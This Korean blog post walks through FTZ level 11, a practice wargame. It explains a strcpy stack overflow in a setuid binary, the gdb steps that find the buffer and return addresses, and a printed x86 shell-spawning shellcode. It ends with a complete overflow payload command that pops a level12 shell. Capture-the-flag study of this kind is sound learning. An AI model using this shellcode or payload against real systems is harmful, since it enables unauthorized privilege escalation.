보안 공부하는 꼬깔이

FTZ level11 풀이 

 


 

level 11의 홈디렉터리 내용이다. level12 권한으로 setuid가 걸린 attackme 라는 파일이 눈에 띈다.

 

hint 파일을 출력해보자

 

 

hint 파일을 cat으로 열어보면 c 소스코드가 출력된다. 해석해보도록 하자

 

 

 

strcpy 함수는 NULL 문자 전까지의 문자열을 복사하는 함수이다. strcpy 함수에는 취약점이 존재하는데 바로 문자열의 길이를 검사

하지 않기 때문에 버퍼의 크기보다 더 큰 문자열이 들어갈 경우 오버 플로우가 발생한다는 것이다.

 

그리고 입력 받는 문자의 크기가 str 배열의 크기인 256을 넘었을때에 관련된 처리가 없다.

 

이것은 곧 입력 문자열을 조절해서 RET 값 변조가 가능하다는 것을 의미한다.

 

attackme 프로그램에 level12의 권한으로 setuid가 설정되어 있다. 이 프로그램이 실행되는 동안에 my-pass 나 /bin/bash 같은

명령어를 실행시킨다면 level12의 패스워드를 획득 할 수 있을것이다. /binbash 를 메모리 상에서 실행시키기 위해서는

shell code를 사용해야 한다.

 

shell code는 /bin/bash, /bin/sh 와 같은 셸을 실행시켜주는 코드이다. 이코드는 보통 c 언어로 이루어져있고 이것을 기계어로 변환시켜 최종적으로 결과물을 16진수의 코드로 만든것이다.

 

<Shell Code>


\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80

 

 

우리는 공격을 시도하기 전에 공격에 사용할 argv[1]의 주소와 str 버퍼에서 ret 시작점 까지의 거리를 알아야한다.

 

그러기 위해서는 attackme 프로그램을 디버깅 해야한다. /tmp 디렉터리로 복사 하자.

 

우선 argv[1]의 주소를 알아보자

 

 

gdb 명령어로 디버깅을 시작했다. 그리고 b *main 명령어로 프로그램 시작과 동시에 브레이크 포인트를 잡아줬다.

r `python -c 'print "A" *256'` 로 argv[1]에 A를 채워주자. 

 

 

0x41 hex값이 보이는데 이것은 A의 ascii 코드 값이다.

 

argv[1]의 시작주소 = bffffb2c + 9 = bffffb36

 

 

 

버퍼에서 RET까지의 거리는 EBP - str[256]의 주소 + 4(ebp에서 ret까지의 거리) 이런식으로 구하면된다.

 

그러기 위해 우선 EBP의 값을 알아보도록 하자

 

main+1 부분이 ESP의 값을 EBP에 복사하는 부분이다. 쉽게 말해 현재 함수의 EBP가 결정되는 부분.

 

main+3 부분에 브레이크 포인트를 걸어서 EBP의 값을 확인해보도록 하자

 

b *main+3 명령어로 브레이크 포인트를 잡은 뒤, r 'python -c 'print "A"*256'` 명령어로 프로그램 시작과 동시에 python을 통해 A를 256번 입력해서 실행한다. 그리고 info reg 명령어로 EBP의 값을 확인하면된다.

 

EBP = 0xbffff9e8

 

 

이제 str[256] 의 버퍼 시작 주소를 알아보자.

 

 

 

strcpy(main+48부분) 함수가 실행완료된 시점(main+53)에 브레이크 포인트를 추가했다. (str에 값이 들어가는 지점이기 때문)

 

c 로 main+3에서 새로운 브레이크 포인트인 main+53까지 실행시켰다

 

 

/90x $esp 명령을 사용하면 esp가 지금 가르키고 있는 위치의 메모리부터 90Byte 까지의 메모리를 확인 할 수 있다.

 

A의 ascii 코드값인 0x41이 시작되는 부분인 0xbffff8e0 이 str[256]의 주소

 

str[256]의 주소 = 0xbffff8e0

 

 

 

이제 버퍼에서 ret 까지의 거리를 계산해보도록 하자

 

0xbffff9e8 - 0xbffff8e0 + 4 = 108 +4 = 0x10c(16진수) = 268(10진수)

 

str 버퍼에서 ret 까지의 거리 = 268 Byte

 

 

 

이제 본격적으로 페이로드를 작성해보자 .

 

./attackme `python -c 'print "[쉘코드]"+"A"*[숫자]+"[argv[1]주소]"'`

 

우선 숫자부분에 들어갈 수를 계산해보자.

 

268(str버퍼에서 ret까지의 거리) - 41(쉘코드 길이)

 

숫자=227

 

그리고 나머지 부분을 채워 넣으면 페이로드가 완성된다.

 

./attackme `python -c 'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"A"*227+"\x36\xfb\xff\xbf"'`

 

 

위 페이로드를 실행하니 쉘이 실행되었고 my-pass 명령어를 통해 level12의 패스워드를 출력시켰다.

 

level11 clear ~

 

 


 

 

 

 

 

 

 

 

 

 


'System Hacking > FTZ' 카테고리의 다른 글

FTZ level13 풀이  (0) 2017.07.04
FTZ level12 풀이  (1) 2017.07.04
FTZ level10 풀이  (0) 2017.06.30
FTZ level9 풀이  (0) 2017.06.30
FTZ level8 풀이  (0) 2017.06.30